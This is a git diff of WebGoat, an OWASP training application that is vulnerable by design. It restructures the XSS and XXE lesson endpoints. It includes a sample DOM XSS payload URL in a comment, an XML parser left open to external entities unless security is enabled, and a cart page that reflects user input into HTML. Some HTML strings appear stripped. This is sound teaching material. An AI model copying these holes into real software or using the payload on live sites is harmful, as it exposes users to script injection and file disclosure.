a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson4.java +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson4.java @@ -20,43 +20,45 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.xss; +package org.owasp.webgoat.lessons.xss; import lombok.extern.slf4j.Slf4j; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; -//@RestController +// @RestController @Deprecated -//TODO This assignment seems not to be in use in the UI -//it is there to make sure the lesson can be marked complete -//in order to restore it, make it accessible through the UI and uncomment RestController@Slf4j +// TODO This assignment seems not to be in use in the UI +// it is there to make sure the lesson can be marked complete +// in order to restore it, make it accessible through the UI and uncomment RestController@Slf4j @Slf4j @AssignmentHints(value = {"xss-mitigation-4-hint1"}) public class CrossSiteScriptingLesson4 extends AssignmentEndpoint { - @PostMapping("/CrossSiteScripting/attack4") - @ResponseBody - public AttackResult completed(@RequestParam String editor2) { + @PostMapping("/CrossSiteScripting/attack4") + @ResponseBody + public AttackResult completed(@RequestParam String editor2) { - String editor = editor2.replaceAll("\\<.*?>", ""); - log.debug(editor); + String editor = editor2.replaceAll("\\<.*?>", ""); + log.debug(editor); - if ((editor.contains("Policy.getInstance(\"antisamy-slashdot.xml\"") || editor.contains(".scan(newComment, \"antisamy-slashdot.xml\"") || editor.contains(".scan(newComment, new File(\"antisamy-slashdot.xml\")")) && - editor.contains("new AntiSamy();") && - editor.contains(".scan(newComment,") && - editor.contains("CleanResults") && - editor.contains("MyCommentDAO.addComment(threadID, userID") && - editor.contains(".getCleanHTML());")) { - log.debug("true"); - return success(this).feedback("xss-mitigation-4-success").build(); - } else { - log.debug("false"); - return failed(this).feedback("xss-mitigation-4-failed").build(); - } + if ((editor.contains("Policy.getInstance(\"antisamy-slashdot.xml\"") + || editor.contains(".scan(newComment, \"antisamy-slashdot.xml\"") + || editor.contains(".scan(newComment, new File(\"antisamy-slashdot.xml\")")) + && editor.contains("new AntiSamy();") + && editor.contains(".scan(newComment,") + && editor.contains("CleanResults") + && editor.contains("MyCommentDAO.addComment(threadID, userID") + && editor.contains(".getCleanHTML());")) { + log.debug("true"); + return success(this).feedback("xss-mitigation-4-success").build(); + } else { + log.debug("false"); + return failed(this).feedback("xss-mitigation-4-failed").build(); } + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson5a.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson5a.java new file mode 100644 index 000000000..9807d8d4e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson5a.java @@ -0,0 +1,103 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import java.util.function.Predicate; +import java.util.regex.Pattern; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "xss-reflected-5a-hint-1", + "xss-reflected-5a-hint-2", + "xss-reflected-5a-hint-3", + "xss-reflected-5a-hint-4" + }) +public class CrossSiteScriptingLesson5a extends AssignmentEndpoint { + + public static final Predicate XSS_PATTERN = + Pattern.compile( + ".*.*", Pattern.CASE_INSENSITIVE) + .asMatchPredicate(); + @Autowired UserSessionData userSessionData; + + @GetMapping("/CrossSiteScripting/attack5a") + @ResponseBody + public AttackResult completed( + @RequestParam Integer QTY1, + @RequestParam Integer QTY2, + @RequestParam Integer QTY3, + @RequestParam Integer QTY4, + @RequestParam String field1, + @RequestParam String field2) { + + if (XSS_PATTERN.test(field2)) { + return failed(this).feedback("xss-reflected-5a-failed-wrong-field").build(); + } + + double totalSale = + QTY1.intValue() * 69.99 + + QTY2.intValue() * 27.99 + + QTY3.intValue() * 1599.99 + + QTY4.intValue() * 299.99; + + userSessionData.setValue("xss-reflected1-complete", "false"); + StringBuilder cart = new StringBuilder(); + cart.append("Thank you for shopping at WebGoat.
Your support is appreciated


"); + cart.append("

We have charged credit card:" + field1 + "
"); + cart.append(" -------------------
"); + cart.append(" $" + totalSale); + + // init state + if (userSessionData.getValue("xss-reflected1-complete") == null) { + userSessionData.setValue("xss-reflected1-complete", "false"); + } + + if (XSS_PATTERN.test(field1)) { + userSessionData.setValue("xss-reflected-5a-complete", "true"); + if (field1.toLowerCase().contains("console.log")) { + return success(this) + .feedback("xss-reflected-5a-success-console") + .output(cart.toString()) + .build(); + } else { + return success(this) + .feedback("xss-reflected-5a-success-alert") + .output(cart.toString()) + .build(); + } + } else { + userSessionData.setValue("xss-reflected1-complete", "false"); + return failed(this).feedback("xss-reflected-5a-failure").output(cart.toString()).build(); + } + } +} diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java similarity index 62% rename from webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java rename to src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java index a61a53034..d0252280c 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java @@ -1,4 +1,3 @@ - /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * @@ -21,35 +20,38 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.xss; +package org.owasp.webgoat.lessons.xss; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.session.UserSessionData; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; - @RestController -@AssignmentHints(value = {"xss-reflected-6a-hint-1", "xss-reflected-6a-hint-2", "xss-reflected-6a-hint-3", "xss-reflected-6a-hint-4"}) +@AssignmentHints( + value = { + "xss-reflected-6a-hint-1", + "xss-reflected-6a-hint-2", + "xss-reflected-6a-hint-3", + "xss-reflected-6a-hint-4" + }) public class CrossSiteScriptingLesson6a extends AssignmentEndpoint { - @Autowired - UserSessionData userSessionData; + @Autowired UserSessionData userSessionData; - @PostMapping("/CrossSiteScripting/attack6a") - @ResponseBody - public AttackResult completed(@RequestParam String DOMTestRoute) { + @PostMapping("/CrossSiteScripting/attack6a") + @ResponseBody + public AttackResult completed(@RequestParam String DOMTestRoute) { - if (DOMTestRoute.matches("start\\.mvc#test(\\/|)")) { - //return ) - return success(this).feedback("xss-reflected-6a-success").build(); - } else { - return failed(this).feedback("xss-reflected-6a-failure").build(); - } + if (DOMTestRoute.matches("start\\.mvc#test(\\/|)")) { + // return ) + return success(this).feedback("xss-reflected-6a-success").build(); + } else { + return failed(this).feedback("xss-reflected-6a-failure").build(); } - + } } diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/mitigation/CrossSiteScriptingMitigation.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingMitigation.java similarity index 78% rename from webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/mitigation/CrossSiteScriptingMitigation.java rename to src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingMitigation.java index bb421d4e2..89977ea79 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/mitigation/CrossSiteScriptingMitigation.java +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingMitigation.java @@ -20,19 +20,19 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.xss.mitigation; +package org.owasp.webgoat.lessons.xss; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; public class CrossSiteScriptingMitigation extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.XSS; - } + @Override + public Category getDefaultCategory() { + return Category.A3; + } - @Override - public String getTitle() { - return "xss-mitigation.title"; - } + @Override + public String getTitle() { + return "xss-mitigation.title"; + } } diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingQuiz.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingQuiz.java similarity index 50% rename from webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingQuiz.java rename to src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingQuiz.java index ecba00272..e193d262a 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingQuiz.java +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingQuiz.java @@ -20,53 +20,63 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.xss; +package org.owasp.webgoat.lessons.xss; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; +import java.io.IOException; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; -import java.io.IOException; - @RestController public class CrossSiteScriptingQuiz extends AssignmentEndpoint { - String[] solutions = {"Solution 4", "Solution 3", "Solution 1", "Solution 2", "Solution 4"}; - boolean[] guesses = new boolean[solutions.length]; + String[] solutions = {"Solution 4", "Solution 3", "Solution 1", "Solution 2", "Solution 4"}; + boolean[] guesses = new boolean[solutions.length]; - @PostMapping("/CrossSiteScripting/quiz") - @ResponseBody - public AttackResult completed(@RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution, @RequestParam String[] question_2_solution, @RequestParam String[] question_3_solution, @RequestParam String[] question_4_solution) throws IOException { - int correctAnswers = 0; + @PostMapping("/CrossSiteScripting/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, + @RequestParam String[] question_1_solution, + @RequestParam String[] question_2_solution, + @RequestParam String[] question_3_solution, + @RequestParam String[] question_4_solution) + throws IOException { + int correctAnswers = 0; - String[] givenAnswers = {question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0], question_4_solution[0]}; + String[] givenAnswers = { + question_0_solution[0], + question_1_solution[0], + question_2_solution[0], + question_3_solution[0], + question_4_solution[0] + }; - for (int i = 0; i < solutions.length; i++) { - if (givenAnswers[i].contains(solutions[i])) { - // answer correct - correctAnswers++; - guesses[i] = true; - } else { - // answer incorrect - guesses[i] = false; - } - } - - if (correctAnswers == solutions.length) { - return success(this).build(); - } else { - return failed(this).build(); - } + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } } - @GetMapping("/CrossSiteScripting/quiz") - @ResponseBody - public boolean[] getResults() { - return this.guesses; + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); } + } + @GetMapping("/CrossSiteScripting/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } } diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/DOMCrossSiteScripting.java b/src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScripting.java similarity index 53% rename from webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/DOMCrossSiteScripting.java rename to src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScripting.java index 58f8e46bc..11da6ea19 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/DOMCrossSiteScripting.java +++ b/src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScripting.java @@ -20,36 +20,41 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.xss; +package org.owasp.webgoat.lessons.xss; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.session.UserSessionData; +import java.security.SecureRandom; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; -import javax.servlet.http.HttpServletRequest; -import java.security.SecureRandom; - @RestController public class DOMCrossSiteScripting extends AssignmentEndpoint { - @PostMapping("/CrossSiteScripting/phone-home-xss") - @ResponseBody - public AttackResult completed(@RequestParam Integer param1, - @RequestParam Integer param2, HttpServletRequest request) { - UserSessionData userSessionData = getUserSessionData(); - SecureRandom number = new SecureRandom(); - userSessionData.setValue("randValue", String.valueOf(number.nextInt())); + @PostMapping("/CrossSiteScripting/phone-home-xss") + @ResponseBody + public AttackResult completed( + @RequestParam Integer param1, @RequestParam Integer param2, HttpServletRequest request) { + UserSessionData userSessionData = getUserSessionData(); + SecureRandom number = new SecureRandom(); + userSessionData.setValue("randValue", String.valueOf(number.nextInt())); - if (param1 == 42 && param2 == 24 && request.getHeader("webgoat-requested-by").equals("dom-xss-vuln")) { - return success(this).output("phoneHome Response is " + userSessionData.getValue("randValue").toString()).build(); - } else { - return failed(this).build(); - } + if (param1 == 42 + && param2 == 24 + && request.getHeader("webgoat-requested-by").equals("dom-xss-vuln")) { + return success(this) + .output("phoneHome Response is " + userSessionData.getValue("randValue").toString()) + .build(); + } else { + return failed(this).build(); } + } } -// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E--andMoreGarbageHere -// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere"; + + static { + comments.add( + new Comment( + "secUriTy", + LocalDateTime.now().format(fmt), + "Comment for Unit Testing")); + comments.add(new Comment("webgoat", LocalDateTime.now().format(fmt), "This comment is safe")); + comments.add(new Comment("guest", LocalDateTime.now().format(fmt), "This one is safe too.")); + comments.add( + new Comment( + "guest", + LocalDateTime.now().format(fmt), + "Can you post a comment, calling webgoat.customjs.phoneHome() ?")); + } + + // TODO This assignment seems not to be in use in the UI + @GetMapping( + path = "/CrossSiteScriptingStored/stored-xss", + produces = MediaType.APPLICATION_JSON_VALUE, + consumes = ALL_VALUE) + @ResponseBody + public Collection retrieveComments() { + List allComments = Lists.newArrayList(); + Collection newComments = userComments.get(webSession.getUserName()); + allComments.addAll(comments); + if (newComments != null) { + allComments.addAll(newComments); + } + Collections.reverse(allComments); + return allComments; + } + + // TODO This assignment seems not to be in use in the UI + @PostMapping("/CrossSiteScriptingStored/stored-xss") + @ResponseBody + public AttackResult createNewComment(@RequestBody String commentStr) { + Comment comment = parseJson(commentStr); + + List comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>()); + comment.setDateTime(LocalDateTime.now().format(fmt)); + comment.setUser(webSession.getUserName()); + + comments.add(comment); + userComments.put(webSession.getUserName(), comments); + + if (comment.getText().contains(phoneHomeString)) { + return (success(this).feedback("xss-stored-comment-success").build()); + } else { + return (failed(this).feedback("xss-stored-comment-failure").build()); + } + } + + private Comment parseJson(String comment) { + ObjectMapper mapper = new ObjectMapper(); + try { + return mapper.readValue(comment, Comment.class); + } catch (IOException e) { + return new Comment(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/BlindSendFileAssignment.java b/src/main/java/org/owasp/webgoat/lessons/xxe/BlindSendFileAssignment.java new file mode 100644 index 000000000..317ef948e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/BlindSendFileAssignment.java @@ -0,0 +1,113 @@ +package org.owasp.webgoat.lessons.xxe; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic; +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; +import java.util.HashMap; +import java.util.Map; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ */ +@Slf4j +@RestController +@AssignmentHints({ + "xxe.blind.hints.1", + "xxe.blind.hints.2", + "xxe.blind.hints.3", + "xxe.blind.hints.4", + "xxe.blind.hints.5" +}) +public class BlindSendFileAssignment extends AssignmentEndpoint { + + private final String webGoatHomeDirectory; + private final CommentsCache comments; + private final Map userToFileContents = new HashMap<>(); + + public BlindSendFileAssignment( + @Value("${webgoat.user.directory}") String webGoatHomeDirectory, CommentsCache comments) { + this.webGoatHomeDirectory = webGoatHomeDirectory; + this.comments = comments; + } + + private void createSecretFileWithRandomContents(WebGoatUser user) { + var fileContents = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")"; + userToFileContents.put(user, fileContents); + File targetDirectory = new File(webGoatHomeDirectory, "/XXE/" + user.getUsername()); + if (!targetDirectory.exists()) { + targetDirectory.mkdirs(); + } + try { + Files.writeString(new File(targetDirectory, "secret.txt").toPath(), fileContents, UTF_8); + } catch (IOException e) { + log.error("Unable to write 'secret.txt' to '{}", targetDirectory); + } + } + + @PostMapping(path = "xxe/blind", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult addComment(@RequestBody String commentStr) { + var fileContentsForUser = userToFileContents.getOrDefault(getWebSession().getUser(), ""); + + // Solution is posted by the user as a separate comment + if (commentStr.contains(fileContentsForUser)) { + return success(this).build(); + } + + try { + Comment comment = comments.parseXml(commentStr); + if (fileContentsForUser.contains(comment.getText())) { + comment.setText("Nice try, you need to send the file to WebWolf"); + } + comments.addComment(comment, false); + } catch (Exception e) { + return failed(this).output(e.toString()).build(); + } + return failed(this).build(); + } + + @Override + public void initialize(WebGoatUser user) { + comments.reset(user); + userToFileContents.remove(user); + createSecretFileWithRandomContents(user); + } +} diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comment.java b/src/main/java/org/owasp/webgoat/lessons/xxe/Comment.java similarity index 92% rename from webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comment.java rename to src/main/java/org/owasp/webgoat/lessons/xxe/Comment.java index da8993bf5..90d06fdd1 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comment.java +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/Comment.java @@ -20,16 +20,15 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.xxe; +package org.owasp.webgoat.lessons.xxe; +import javax.xml.bind.annotation.XmlRootElement; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; import lombok.Setter; import lombok.ToString; -import javax.xml.bind.annotation.XmlRootElement; - /** * @author nbaars * @since 4/8/17. @@ -41,7 +40,7 @@ import javax.xml.bind.annotation.XmlRootElement; @XmlRootElement @ToString public class Comment { - private String user; - private String dateTime; - private String text; + private String user; + private String dateTime; + private String text; } diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java new file mode 100644 index 000000000..b949f0abe --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java @@ -0,0 +1,137 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import static java.util.Optional.empty; +import static java.util.Optional.of; + +import com.fasterxml.jackson.databind.ObjectMapper; +import java.io.IOException; +import java.io.StringReader; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.ArrayList; +import java.util.Comparator; +import java.util.HashMap; +import java.util.Map; +import java.util.Optional; +import javax.xml.XMLConstants; +import javax.xml.bind.JAXBContext; +import javax.xml.bind.JAXBException; +import javax.xml.stream.XMLInputFactory; +import javax.xml.stream.XMLStreamException; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.context.annotation.Scope; +import org.springframework.stereotype.Component; + +@Component +@Scope("singleton") +public class CommentsCache { + + static class Comments extends ArrayList { + void sort() { + sort(Comparator.comparing(Comment::getDateTime).reversed()); + } + } + + private static final Comments comments = new Comments(); + private static final Map userComments = new HashMap<>(); + private static final DateTimeFormatter fmt = DateTimeFormatter.ofPattern("yyyy-MM-dd, HH:mm:ss"); + + private final WebSession webSession; + + public CommentsCache(WebSession webSession) { + this.webSession = webSession; + initDefaultComments(); + } + + void initDefaultComments() { + comments.add(new Comment("webgoat", LocalDateTime.now().format(fmt), "Silly cat....")); + comments.add( + new Comment( + "guest", + LocalDateTime.now().format(fmt), + "I think I will use this picture in one of my projects.")); + comments.add(new Comment("guest", LocalDateTime.now().format(fmt), "Lol!! :-).")); + } + + protected Comments getComments() { + Comments allComments = new Comments(); + Comments commentsByUser = userComments.get(webSession.getUser()); + if (commentsByUser != null) { + allComments.addAll(commentsByUser); + } + allComments.addAll(comments); + allComments.sort(); + return allComments; + } + + /** + * Notice this parse method is not a "trick" to get the XXE working, we need to catch some of the + * exception which might happen during when users post message (we want to give feedback track + * progress etc). In real life the XmlMapper bean defined above will be used automatically and the + * Comment class can be directly used in the controller method (instead of a String) + */ + protected Comment parseXml(String xml) throws JAXBException, XMLStreamException { + var jc = JAXBContext.newInstance(Comment.class); + var xif = XMLInputFactory.newInstance(); + + if (webSession.isSecurityEnabled()) { + xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant + xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant + } + + var xsr = xif.createXMLStreamReader(new StringReader(xml)); + + var unmarshaller = jc.createUnmarshaller(); + return (Comment) unmarshaller.unmarshal(xsr); + } + + protected Optional parseJson(String comment) { + ObjectMapper mapper = new ObjectMapper(); + try { + return of(mapper.readValue(comment, Comment.class)); + } catch (IOException e) { + return empty(); + } + } + + public void addComment(Comment comment, boolean visibleForAllUsers) { + comment.setDateTime(LocalDateTime.now().format(fmt)); + comment.setUser(webSession.getUserName()); + if (visibleForAllUsers) { + comments.add(comment); + } else { + var comments = userComments.getOrDefault(webSession.getUserName(), new Comments()); + comments.add(comment); + userComments.put(webSession.getUser(), comments); + } + } + + public void reset(WebGoatUser user) { + comments.clear(); + userComments.remove(user); + initDefaultComments(); + } +} diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/CommentsEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsEndpoint.java similarity index 86% rename from webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/CommentsEndpoint.java rename to src/main/java/org/owasp/webgoat/lessons/xxe/CommentsEndpoint.java index 73de2ed78..721e649ea 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/CommentsEndpoint.java +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsEndpoint.java @@ -20,8 +20,9 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.xxe; +package org.owasp.webgoat.lessons.xxe; +import java.util.Collection; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.GetMapping; @@ -29,8 +30,6 @@ import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; -import java.util.Collection; - /** * @author nbaars * @since 5/4/17. @@ -39,13 +38,11 @@ import java.util.Collection; @RequestMapping("xxe/comments") public class CommentsEndpoint { - @Autowired - private Comments comments; - - @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) - @ResponseBody - public Collection retrieveComments() { - return comments.getComments(); - } + @Autowired private CommentsCache comments; + @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public Collection retrieveComments() { + return comments.getComments(); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/ContentTypeAssignment.java b/src/main/java/org/owasp/webgoat/lessons/xxe/ContentTypeAssignment.java new file mode 100644 index 000000000..2e54dc1d8 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/ContentTypeAssignment.java @@ -0,0 +1,100 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.exec.OS; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import 